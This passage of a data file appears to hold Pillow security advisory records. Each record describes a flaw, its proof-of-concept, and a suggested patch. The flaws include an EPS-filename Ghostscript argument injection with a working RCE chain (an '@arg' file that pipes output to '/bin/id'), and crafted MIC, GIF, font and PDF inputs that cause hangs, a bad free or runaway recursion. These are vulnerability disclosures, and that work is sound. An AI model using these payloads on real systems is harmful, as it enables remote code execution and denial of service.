Reproducer \u2014 repro, 1,845 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # EpsImagePlugin.Ghostscript(): load(scale=N) hands gs a -g geometry of # (W*N)x(H*N) with no _decompression_bomb_check on the scaled size; only the # unscaled WxH was checked by Image.open(). gs is not installed here, so we # set gs_binary and intercept subprocess.check_call to read the argv Pillow builds. import os, subprocess, tempfile, warnings from PIL import Image, EpsImagePlugin EpsImagePlugin.gs_binary = \"gs\" # skip the `gs --version` probe path = os.path.join(tempfile.mkdtemp(), \"a.eps\") with open(path, \"w\") as f: # 9000x9000 = 81 Mpx < MAX_IMAGE_PIXELS (89.5 Mpx) f.write(\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 9000 9000\\n%%EndComments\\nshowpage\\n\") calls = [] def fake_check_call(cmd, **kw): calls.append(cmd) raise OSError(\"gs intercepted\") # stop here; we only need the argv subprocess.check_call = fake_check_call hard = 2 * Image.MAX_IMAGE_PIXELS bomb_before_gs = False with warnings.catch_warnings(): warnings.simplefilter(\"error\", Image.DecompressionBombWarning) try: with Image.open(path) as im: print(\"Image.open accepted\", os.path.getsize(path), \"byte EPS, size\", im.size) im.load(scale=2) except (Image.DecompressionBombError, Image.DecompressionBombWarning) as e: bomb_before_gs = not calls print(\"bomb check fired\", \"before\" if bomb_before_gs else \"after\", \"gs:\", e) except OSError as e: print(\"load() reached gs:\", e) over = False for c in calls: g = next(a for a in c if a.startswith(\"-g\"))[2:] w, h = map(int, g.split(\"x\")) over |= w * h > hard print(f\"gs argv geometry -g{g} = {w*h} px ({w*h/Image.MAX_IMAGE_PIXELS:.1f}x MAX_IMAGE_PIXELS, \" f\"hard limit {hard}); pnmraw output would be {w*h*3} bytes\") print(\"BUG\" if calls and over and not bomb_before_gs else \"OK\") ```
---"}, {"id": "CVE-2026-112900", "fix_versions": ["13.0.0"], "aliases": ["GHSA-w889-685w-c8fh"], "description": "### Summary `PIL.EpsImagePlugin.Ghostscript()` builds the Ghostscript command line using the input file path (`fp.name`) **without sanitization**, placing it at `-f `. A filename beginning with `-` is interpreted by Ghostscript as an option, giving command-line argument injection; chainable to RCE (see Impact). Reproduces with Pillow's default invocation (with `-dSAFER` enabled). ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ #### Type CWE-88 (Argument Injection) (\u2192 CWE-78 (OS Command Injection) optionally, with attacker controlled text file) #### Vulnerable Codes ```python infile_temp = None if hasattr(fp, \"name\") and os.path.exists(fp.name): infile = fp.name # user-controlled path used as-is, without validation else: in_fd, infile_temp = tempfile.mkstemp() os.close(in_fd) infile = infile_temp # ... (copy fp into a temporary file) # Build Ghostscript command command = [ gs_binary, \"-q\", f\"-g{width:d}x{height:d}\", f\"-r{res_x:f}x{res_y:f}\", \"-dBATCH\", \"-dNOPAUSE\", \"-dSAFER\", # default sandbox \u2014 does NOT stop this injection f\"-sDEVICE={device}\", f\"-sOutputFile={outfile}\", \"-c\", f\"{-bbox[0]} {-bbox[1]} translate\", \"-f\", infile, # injected here: inserted into argv with no check for # option prefixes (-, --) or Ghostscript's @-file token # => argument injection (CWE-88) \"-c\", \"showpage\", ] # ... subprocess.check_call(command, startupinfo=startupinfo) # spawns Ghostscript ``` #### Root cause. When rendering an EPS image, PIL.EpsImagePlugin.Ghostscript() constructs the Ghostscript command line using the input file path (fp.name) and places it directly at the -f position of the argument list. This path is user-controllable, yet Pillow performs no validation or neutralization of tokens that Ghostscript treats specially during command-line argument parsing \u2014 in particular a leading - or -- (which Ghostscript interprets as an option rather than a filename) and a leading @ (Ghostscript's argument-file syntax, which causes it to read additional command-line arguments from the named file). Because the filename is neither normalized (e.g., forced to an absolute path or prefixed with ./) nor checked against these prefixes before being handed to the subprocess, an attacker who controls the filename passed to Image.open() can inject arbitrary Ghostscript command-line arguments. This is a classic argument-injection flaw (CWE-88), and it is not mitigated by Pillow's default -dSAFER setting. #### Affected - Pillow: tested on 12.3.0 (latest); vulnerable code is long-standing and appears to affect all current versions (main included). - Component: `src/PIL/EpsImagePlugin.py`, `Ghostscript()` \u2014 `infile = fp.name`, and the command list entry `\"-f\", infile`. #### Suggested fix Normalize the filename to an absolute path before it is passed to Ghostscript, so it can never be parsed as an option (`-`/`--`) or as an argument-file token (`@`): ```python if hasattr(fp, \"name\") and os.path.exists(fp.name): infile = os.path.abspath(fp.name) # was: infile = fp.name ``` `os.path.abspath()` guarantees the path starts with a path separator (or a drive letter on Windows), so a leading `-` or `@` can no longer reach Ghostscript's argument parser. The `else` branch already builds a safe `tempfile.mkstemp()` path and needs no change. ### PoC dockerfile, Default run shows the argument-injection demo (poc.py); for the RCE PoC run python3 poc-rce.py. ``` FROM ubuntu:24.04 RUN apt update RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates RUN rm -rf /var/lib/apt/lists/* RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0 ENV PATH=/venv/bin:$PATH WORKDIR /poc COPY poc.py . COPY poc-rce.py . COPY arg . CMD [\"python3\", \"poc.py\"] ``` poc.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\" name = \"-h\" with open(name, \"wb\") as f: f.write(EPS) ############################################################################################ print(f\"[*] Pillow opens a file whose name is {name!r}\") im = Image.open(name) print(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\") try: im.load() except Exception as e: print(f\"[*] load() raised: {type(e).__name__}: {e}\") print(\"CWE-88: argument injection; Pillow code doesn't validate argument name\") print(\" This poc.py shows the vulnerability clearly.\") print(\" If Pillow checks the name of file before it uses, It won't display `help`\") ``` poc-rce.py ``` import os from PIL import Image ############################################################################################ # Attacker controlled file ############################################################################################ EPS = b\"%!PS-Adobe-3.0 EPSF-3.0\\n%%BoundingBox: 0 0 100 100\\n%%EndComments\\nshowpage\\n\" # To chain this vulnerability into critical RCE, We need another arbitrary text file # In this script, it is `arg`. name = \"@arg\" with open(name, \"wb\") as f: f.write(EPS) ############################################################################################ print(f\"[*] Pillow opens a file whose name is {name!r}\") im = Image.open(name) print(f\"[*] call `load()`; this paths calls `gs` command with '-f {name}'\") print(f\"[*] and this leads to arbitrary command injection.\") print(f\"*********************************************\") try: im.load() except Exception as e: print(f\"*********************************************\") print(f\"[*] load() raised: {type(e).__name__}: {e}\") print(\"\") print(\"CWE-78: OS Command Injection;\") print(\"CWE-88: Argument Injection ; Pillow code doesn't validate argument name\") print(\" This poc.py shows the vulnerability clearly.\") print(\" If Pillow checks the name of file before it uses, It won't call `id`\") ``` arg ``` -sOutputFile=%pipe%/bin/id -c 1 dict dup /OutputFile (%pipe%/bin/id) put setpagedevice ``` ### Impact **Confirmed \u2014 Ghostscript argument injection.** Because the filename is not validated, a leading `-`/`--` is parsed by Ghostscript as an option rather than a file. An attacker who controls the filename passed to `Image.open()` can therefore inject a Ghostscript command-line argument. Single-argument injection always succeeds. **Potential RCE (verified).** The filename is also not validated against Ghostscript's `@`-file syntax: a filename of the form `@` causes Ghostscript to read additional command-line arguments from ``, allowing multiple arguments to be injected at once. If the attacker can additionally control the referenced file, this can be escalated to arbitrary command execution \u2014 an escalation we verified in our PoC (execution of `id`). Applies under Pillow's default configuration (with `-dSAFER` enabled), on Pillow 12.3.0 with Ghostscript 10.02.1. With same GS arguments, I also confirmed RCE with latest GS version (10.07.1) ### Why this is a Pillow bug (not the documented \"block untrusted EPS\" risk) This is not the malicious-EPS-content risk described in Pillow's security policy: the flaw is triggered by the filename, not by anything in the PostScript document. A completely benign EPS file still results in Ghostscript argument injection whenever the filename passed to Image.open() is attacker-influenced, so applications that legitimately process EPS remain affected \u2014 the guidance to block untrusted EPS input does not cover this. Because Pillow is the component that constructs the Ghostscript command line, ensuring a filename cannot be reinterpreted as an option (-/--) or an argument-file token (@) is Pillow's responsibility, not that of every downstream caller. The precondition \u2014 attacker influence over a filename that reaches Image.open() \u2014 is realistic (e.g., file-upload endpoints that preserve or derive the stored name from user input), and chaining it with this flaw yields RCE in practice, not just in theory. A one-line normalization (os.path.abspath(fp.name)) closes it without any change to how applications use the API. ### Author Chanu Kang (from CysecLab at KAIST) @HLe4s"}, {"id": "CVE-2026-112893", "fix_versions": ["13.0.0"], "aliases": ["GHSA-j4m9-6w36-pw47"], "description": "### Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If `FT_Load_Glyph` fails for a glyph, the cleanup path calls `FT_Done_Glyph` on the `glyph` variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer. ### Details `glyph` is declared without a NULL initializer: - `src/_imagingft.c:848` The first measurement loop can jump to `glyph_error` before `glyph` is ever assigned: - `src/_imagingft.c:1010-1013` In the render loop the glyph is freed at the end of each iteration and not set back to NULL: - `src/_imagingft.c:1242` The cleanup frees it whenever a stroker exists: - `src/_imagingft.c:1253-1256` `ImageFont.truetype` accepts a file object or bytes, so the font is attacker-suppliable. ### PoC This needs `fontTools` and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph \"A\" to claim 5000 contours in a glyph body far too short for them, so `FT_Load_Glyph` returns an error while the face still opens. ```python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw SRC = \"Tests/fonts/FreeMono.ttf\" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord(\"A\")]) loca_long = tt[\"head\"].indexToLocFormat tt.close() raw = bytearray(open(SRC, \"rb\").read()) nt = struct.unpack(\">H\", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i * 16 tag = bytes(raw[rec:rec+4]).decode(\"latin-1\") off, length = struct.unpack(\">II\", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyf_off = tbl[\"glyf\"][0]; loca_off = tbl[\"loca\"][0] if loca_long: o0 = struct.unpack_from(\">I\", raw, loca_off + 4*gid)[0] else: o0 = struct.unpack_from(\">H\", raw, loca_off + 2*gid)[0] * 2 struct.pack_into(\">h\", raw, glyf_off + o0, 5000) # numberOfContours = 5000 open(\"evil.ttf\", \"wb\").write(raw) f = ImageFont.truetype(\"evil.ttf\", 20) # face opens d = ImageDraw.Draw(Image.new(\"RGB\", (64, 64))) d.text((0, 0), \"A\", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer ``` Result on the pinned build: `FT_Load_Glyph` returns an error and execution reaches the `glyph_error` cleanup that calls `FT_Done_Glyph(glyph)` (the plugin surfaces `OSError: invalid outline`). ### Impact Applications that draw text with `stroke_width != 0` using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize `glyph = NULL` and set it back to NULL after each `FT_Done_Glyph`."}, {"id": "CVE-2026-112891", "fix_versions": ["13.0.0"], "aliases": ["GHSA-fc9g-5qg7-mf45"], "description": "On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits."}, {"id": "CVE-2026-112390", "fix_versions": ["13.0.0"], "aliases": ["GHSA-22hg-r758-rrw9"], "description": "``` ============================================================================ Infinite loop in MIC n_frames when the embedded TIFF has 3+ IFDs Location: src/PIL/MicImagePlugin.py:86 in MicImageFile.tell() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 5.6 KB image file makes Pillow loop forever at 100% CPU when an application asks how many frames the image has. This only affects installations that have the optional `olefile` package. Any application that opens an untrusted image and then reads `im.n_frames` can have one worker tied up indefinitely. That includes the common \"is this image animated?\" check and re-saving with `save_all=True` to TIFF, PDF or WebP. The call never returns, raises no exception, and does not grow memory, so only an external watchdog stops it. The file is a Microsoft Image Composer (MIC) container, which Pillow recognises by its magic bytes with no extension needed. Inside it is a TIFF stream with three chained image directories. `MicImageFile` subclasses `TiffImageFile` and overrides `seek()` and `tell()` so that a \"frame\" means one stream in the container. It still inherits `TiffImageFile.n_frames` (`src/PIL/TiffImagePlugin.py:1212`), which walks the embedded TIFF's directory chain with `self._seek(self.tell() + 1)` until `_n_frames` is set. Two things stop that walk from making progress: - `MicImageFile.tell()` (`src/PIL/MicImagePlugin.py:86`) returns the constant stream index. - `MicImageFile.seek()` calls `TiffImageFile._open()`, which resets `_n_frames` to `None`. As a result, the loop re-parses the second directory forever whenever the embedded stream has three or more directories. `Image.open()`, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. The regression was introduced in 0b33a87b0d15 (April 2020, first released in 7.2.0), which removed `MicImageFile`'s own `n_frames` property. The attached reproducer builds the file in code and checks two controls, which return 3 and 1 frames as expected; the malicious file is still running when it is killed after 20 seconds. ## Details `MicImageFile` (registered for `Image.open` whenever `olefile` is installed) subclasses `TiffImageFile` and redefines a \"frame\" as one OLE `*.ACI/Image` stream, overriding `seek()` and `tell()` accordingly. It does not override the `n_frames` property, so the inherited TIFF implementation runs, and that implementation relies on `tell()` advancing as IFDs are loaded. `MicImageFile.tell()` returns the OLE stream index, which never changes inside `n_frames`, so the loop re-parses the same IFD forever. A 5632-byte OLE2 compound file whose `img0.ACI/Image` stream is a 351-byte TIFF with three chained 1\u00d71 IFDs is enough. `Image.open()` on it succeeds (format `MIC`, detected by the OLE magic, no extension needed); evaluating `im.n_frames` then never returns and keeps one core at 100 %. A Python stack taken 27 s in is ``` File \"src/PIL/TiffImagePlugin.py\", line 1622 in _setup File \"src/PIL/TiffImagePlugin.py\", line 1271 in _seek File \"src/PIL/TiffImagePlugin.py\", line 1219 in n_frames ``` and instrumenting `_seek` shows it being called with `frame=1`, `tell()==0`, `_frame_pos==[8, 122]`, `_n_frames is None` on every iteration \u2014 identical state, so the loop is non-terminating, not merely slow. The same 351 TIFF bytes opened directly give `n_frames == 3` in milliseconds, and the same container around a 1-IFD TIFF gives `n_frames == 1`. The loop, `src/PIL/TiffImagePlugin.py:1212`: ```python @property def n_frames(self) -> int: current_n_frames = self._n_frames if current_n_frames is None: current = self.tell() self._seek(len(self._frame_pos)) while self._n_frames is None: self._seek(self.tell() + 1) # 1219 self.seek(current) ``` and the overrides that break its progress assumption, `src/PIL/MicImagePlugin.py:76`: ```python def seek(self, frame: int) -> None: \u2026 self.fp = self.ole.openstream(filename) TiffImagePlugin.TiffImageFile._open(self) # 82: resets _n_frames to None self.frame = frame def tell(self) -> int: return self.frame # 87: OLE stream index, not TIFF __frame ``` For a plain TIFF, `_seek(k)` (`TiffImagePlugin.py:1236`) loads IFDs up to `k`, appending each offset to `_frame_pos`, setting `_n_frames` when an IFD's next-pointer is 0 (or already seen), and setting the private `__frame = k`; `TiffImageFile.tell()` returns `__frame`, so `self.tell() + 1` walks the chain to its end. For a MIC file, `Image.open` \u2192 `MicImageFile._open` sets `self._n_frames = len(self.images)` at line 69, but then calls `self.seek(0)` \u2192 `TiffImageFile._open` (line 82), which unconditionally sets `self._n_frames = None` (`TiffImagePlugin.py:1203`) and `_seek(0)`s into the embedded stream. With the 3-IFD stream, IFD 0 has a non-zero next pointer, so `_n_frames` stays `None` after open. `n_frames` then runs: `current = self.tell()` is `0` (the OLE index); `_seek(len(_frame_pos))` = `_seek(1)` loads IFD 1, whose next pointer is also non-zero and not yet in `_frame_pos`, so `_n_frames` is still `None`. The `while` body computes `self.tell() + 1` = `0 + 1` and calls `_seek(1)` again; `len(_frame_pos)` is already 2, so nothing new is loaded \u2014 IFD 1 is re-read via `tag_v2.load` and `_setup()` and the state is unchanged. This repeats indefinitely; IFD 2 is never reached. Two chained IFDs are not enough (IFD 1's next pointer of 0 sets `_n_frames = 2` on the first `_seek(1)`); three or more are. `Tests/test_file_mic.py::test_n_frames` passes only because `hopper.mic`'s stream has a single IFD, so `_seek(0)` sets `_n_frames = 1` and the loop is never entered; the `len(self.images)` assignment at line 69 is only consumed by the initial `_seek_check(0)` and is overwritten before any caller can read `n_frames`. A side effect of the same mismatch: with a 2-IFD stream `n_frames` returns 2 (TIFF IFDs) while `seek(1)` indexes `self.images[1]` (OLE streams) and raises `IndexError` \u2014 visible with `save_all=True`. ## Impact Any application that lets Pillow open an uploaded file and then reads `im.n_frames` \u2014 the usual way to decide whether an image is animated (`getattr(im, \"n_frames\", 1) > 1`), and also what `hasattr(im, \"n_frames\")`/`getattr(im, \"n_frames\", 1)` in Pillow's own `TiffImagePlugin._save_all` (`:2333`), `PdfImagePlugin._save` (`:250`) and `WebPImagePlugin._save_all` (`:171`) evaluate when the app re-saves with `save_all=True` \u2014 can be made to spin one worker at 100 % CPU indefinitely with a 5.6 KB upload. The file needs no particular extension (OLE magic; `FpxImagePlugin` rejects it on CLSID and `MicImagePlugin` accepts it), default limits do not intervene, memory does not grow, and no exception is raised, so only an external watchdog ends it. Preconditions: `olefile` installed (it is an optional dependency; without it the MIC plugin is not registered) and the application touching `n_frames` or a `save_all` path. `Image.open()` itself, `load()`, `thumbnail()`, `convert()`, `is_animated` and `ImageSequence` iteration do not hang on this file. This is the same class of tiny-file, pure-Python non-termination as CVE-2021-28676 (FLI) and CVE-2021-28677 (EPS), and like CVE-2019-19911 (FPX) it depends on `olefile`; it differs in not being reached by the default open/load path. The regression was introduced in `0b33a87b0d15` (\"Replaced property methods for n_frames and is_animated with normal properties\", 2020-04-13), first released in 7.2.0, which replaced `MicImageFile`'s own `n_frames` property with the `_n_frames` attribute that `TiffImageFile._open` overwrites. ## Reproducing `repro` is a single Python script that runs against the installed Pillow (with `olefile`, which is what registers the MIC plugin). It builds every input in code, writes each one to a temporary file named `x` with no extension (so Pillow identifies the format from its magic bytes), and opens it in a child Python process that runs `Image.open(path)` and prints `im.format` and `im.n_frames`. It builds two things in code: - `tiff(n)`: an `n`-page TIFF of 4\u00d74 greyscale frames written by Pillow itself (`save_all=True`), so the IFDs are chained exactly as Pillow's own writer chains them. The last next-IFD pointer is 0. - `mic(stream)`: a minimal OLE2 compound file with a storage named `img0.ACI` that contains a stream named `Image`, which is the layout `MicImageFile._open` looks for. Sector 0 is the FAT and sector 1 is the directory. The stream starts at sector 2 and is padded to 4096 bytes, so the file doesn't need a mini-FAT. The result is 5632 bytes. It runs three inputs, each in its own child process with a hard 20-second kill: 1. control: the plain 3-page TIFF. Expected `TIFF n_frames = 3`. 2. control: a MIC wrapping a 1-page TIFF. Expected `MIC n_frames = 1`. 3. attack: the same MIC container wrapping the 3-page TIFF. The timeout is enforced by killing the child rather than by an in-process alarm, because a `TimeoutError` raised while `ImageFileDirectory_v2.load()` is parsing would be caught by its `except OSError` (`TiffImagePlugin.py:958`) and leave the IFD half-parsed instead of stopping the loop. The script prints `BUG` when both controls return and the attack child is still running after 20 seconds; otherwise it prints `OK`. With the attached patch applied, the attack case prints `MIC n_frames = 1` and the script prints `OK`. ## Suggested fix The attached patch restores the OLE-level frame count after the embedded TIFF stream has been opened, so the inherited `n_frames` never enters its IFD-walking loop and `n_frames`/`seek()` agree on what a frame is. In `MicImageFile.seek`, `src/PIL/MicImagePlugin.py:82`, right after `TiffImagePlugin.TiffImageFile._open(self)`: ```diff TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame ``` Doing this in `seek()` restores the invariant on every seek, not only the first. The existing assignments at lines 69\u201370 of `_open` are kept: the initial `seek(0)` \u2192 `_seek_check(0)` reads `n_frames` before `TiffImageFile._open` has run, so they are still needed. Plain read-only `n_frames`/`is_animated` properties, as before 0b33a87b0, are no longer a drop-in option because `TiffImageFile._seek` assigns `self.is_animated`. With the patch applied to a clean tree and rebuilt, the attack file returns `n_frames == 1` immediately, a 2-IFD stream raises `EOFError` on `seek(1)` instead of `IndexError`, `save_all=True` to TIFF and PDF completes, and `Tests/test_file_mic.py` and `Tests/test_file_tiff.py` pass. No regression test is included, since one would need a new binary MIC fixture in `Tests/images`. The patch passed that check but has not been reviewed beyond it as the final form of the fix. Two things it leaves alone: it does not add the `_im` reset that `TiffImageFile.seek` performs after `_seek` (`TiffImagePlugin.py:1229`), which matters when switching between OLE streams of different size or mode; and `TiffImageFile.n_frames` still advances via the overridable `tell()` rather than its private `__frame`, so making it iterate on `__frame` would protect any other subclass that redefines `tell()`. ## The patch Restore the OLE stream frame count in MicImageFile.seek() after TiffImageFile._open() resets it, so n_frames cannot loop forever Applies to `src/PIL/MicImagePlugin.py` at the commit above. It passed the mechanical check \u2014 applied to a clean tree, rebuilt, the reproducer stopped firing \u2014 but a reviewer did not endorse it as the right fix. ```diff diff --git a/src/PIL/MicImagePlugin.py b/src/PIL/MicImagePlugin.py index f8cf3a76f..2bb0109ce 100644 --- a/src/PIL/MicImagePlugin.py +++ b/src/PIL/MicImagePlugin.py @@ -81,6 +81,11 @@ class MicImageFile(TiffImagePlugin.TiffImageFile): TiffImagePlugin.TiffImageFile._open(self) + # TiffImageFile._open() resets the frame count to that of the + # embedded TIFF stream, but the frames of an MIC file are its streams + self._n_frames = len(self.images) + self.is_animated = self._n_frames > 1 + self.frame = frame def tell(self) -> int: ``` ## The reproducer
Reproducer \u2014 repro, 2,330 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)` # relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant), # so a MIC file whose Image stream is a TIFF with >=3 chained IFDs makes im.n_frames spin forever. import io, struct, subprocess, sys, tempfile, os from PIL import Image def tiff(n): # n-page TIFF written by Pillow itself b = io.BytesIO(); fr = [Image.new(\"L\", (4, 4), i) for i in range(n)] fr[0].save(b, \"TIFF\", save_all=True, append_images=fr[1:]); return b.getvalue() def mic(stream): # minimal OLE2 file: storage \"img0.ACI\" containing stream \"Image\" END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD data = stream.ljust(4096, b\"\\0\"); n = len(data) // 512 fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat)) def entry(name, kind, child, start, size): raw = name.encode(\"utf-16-le\") + b\"\\0\\0\" return raw.ljust(64, b\"\\0\") + struct.pack(\" 01 41 00`, then a minimal 1\u00d71 image and the trailer: - **comments**: label `0xFE`. Each extension is a 1-byte comment, so `_seek()` appends each one to `info[\"comment\"]` with `+=` (`GifImagePlugin.py:266`). - **control**: label `0x01` (plain-text extension). The bytes are the same apart from the label. `_seek()` reads them through the same loop and the same `self.data()` calls, then throws them away. The script times `Image.open(io.BytesIO(data))` on each file. It does not call `load()`, because `_open()` already parses frame 0. It checks that the image came out as 1\u00d71. Typical output on a 2-CPU machine: ``` 2 MB GIF control (0x01): 0.16 s comments (0xFE): 5.14 s 4 MB GIF control (0x01): 0.26 s comments (0xFE): 33.53 s doubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2) 4 MB comment GIF took x129 as long as the same-size control BUG ``` For a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints `BUG` when all three of these hold: - doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3\u00d7; - the 4 MB comment file takes at least 20\u00d7 as long as its control; - the 4 MB comment file takes at least 8 s. Otherwise it prints `OK`. The run is deterministic, CPU-bound on one core, and takes about 40 s. ## Suggested fix The attached patch changes `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py` to accumulate comment data in a local list instead of with `bytes` concatenation, and to join it once when the frame's info is committed: ```diff @@ def _seek(self, frame: int, update_image: bool = True) -> None: info: dict[str, Any] = {} + comment_blocks: list[bytes] | None = None frame_transparency = None @@ elif s[0] == 254: # # comment extension # - comment = b\"\" + if comment_blocks is None: + comment_blocks = [] + else: + # If multiple comment blocks in frame, separate with \\n + comment_blocks.append(b\"\\n\") # Read this comment block while block: - comment += block + comment_blocks.append(block) block = self.data() - - if \"comment\" in info: - # If multiple comment blocks in frame, separate with \\n - info[\"comment\"] += b\"\\n\" + comment - else: - info[\"comment\"] = comment s = b\"\" continue @@ - if info.get(\"comment\"): - self.info[\"comment\"] = info[\"comment\"] + if comment_blocks: + comment = b\"\".join(comment_blocks) + if comment: + self.info[\"comment\"] = comment for k in [\"duration\", \"extension\"]: ``` This removes the quadratic copying at both sites (`:261` per sub-block and `:266` per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints `BUG` on a patched build. The resulting `info[\"comment\"]` is unchanged for empty, multi-sub-block, multi-extension and later-frame comments \u2014 including `Tests/images/multiple_comments.gif` \u2192 `b\"Test comment 1\\nTest comment 2\"` \u2014 and `Tests/test_file_gif.py` passes unchanged. The GIF writer (`_write_local_header` / `_save`) is not affected. The patch deliberately adds no size cap. Unlike PNG `zTXt`, which `PngImagePlugin.MAX_TEXT_CHUNK` guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a `MAX_COMMENT_SIZE` check inside the sub-block loop is a small policy addition on top of this patch. ## The patch GIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek() Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..05007d2ac 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile): palette: ImagePalette.ImagePalette | Literal[False] | None = None info: dict[str, Any] = {} + comment_blocks: list[bytes] | None = None frame_transparency = None interlace = None frame_dispose_extent = None @@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile): # # comment extension # - comment = b\"\" + if comment_blocks is None: + comment_blocks = [] + else: + # If multiple comment blocks in frame, separate with \\n + comment_blocks.append(b\"\\n\") # Read this comment block while block: - comment += block + comment_blocks.append(block) block = self.data() - - if \"comment\" in info: - # If multiple comment blocks in frame, separate with \\n - info[\"comment\"] += b\"\\n\" + comment - else: - info[\"comment\"] = comment s = b\"\" continue elif s[0] == 255 and frame == 0 and block is not None: @@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile): ) ] - if info.get(\"comment\"): - self.info[\"comment\"] = info[\"comment\"] + if comment_blocks: + comment = b\"\".join(comment_blocks) + if comment: + self.info[\"comment\"] = comment for k in [\"duration\", \"extension\"]: if k in info: self.info[k] = info[k] ``` ## The reproducer
Reproducer \u2014 repro, 2,263 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\"Quadratic CPU in Image.open() on GIF comment extensions. GifImageFile._seek() appends every comment extension to info[\"comment\"] with bytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated comment each time. Image.open() runs _seek(0) eagerly, so merely opening a GIF made of many tiny comment extensions costs O(size^2) CPU. We time Image.open() on two files of identical length: ATTACK - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE) CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek() reads through the same loop but discards instead of concatenating. A linear parser would take ~2x longer when the file doubles, and the two files would cost about the same. \"\"\" import io import time from PIL import Image HEADER = b\"GIF89a\" + b\"\\x01\\x00\\x01\\x00\" + b\"\\x00\\x00\\x00\" # 1x1 screen, no palette IMAGE = b\",\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\" + b\"\\x02\\x02\\x44\\x01\\x00\" # 1x1 frame TRAILER = b\";\" def make_gif(size: int, label: int) -> bytes: # each extension is `21
---"}, {"id": "CVE-2026-112391", "fix_versions": ["13.0.0"], "aliases": ["GHSA-254f-3936-288h"], "description": "### Summary `PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch. ### Details **`get_value()` in `src/PIL/PdfParser.py`** This is a classmethod that takes `max_nesting: int = -1` and has a guard: ```python if max_nesting == 0: return None, None ``` Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else. This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function \u2014 it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() . ### Steps to reproduce Both PDFs below are plain text, built directly in Python, no PDF library needed. ```python from PIL.PdfParser import PdfParser def build_pdf(root): out = bytearray(b\"%PDF-1.4\\n\") offset = len(out) out += f\"1 0 obj\\n\".encode() 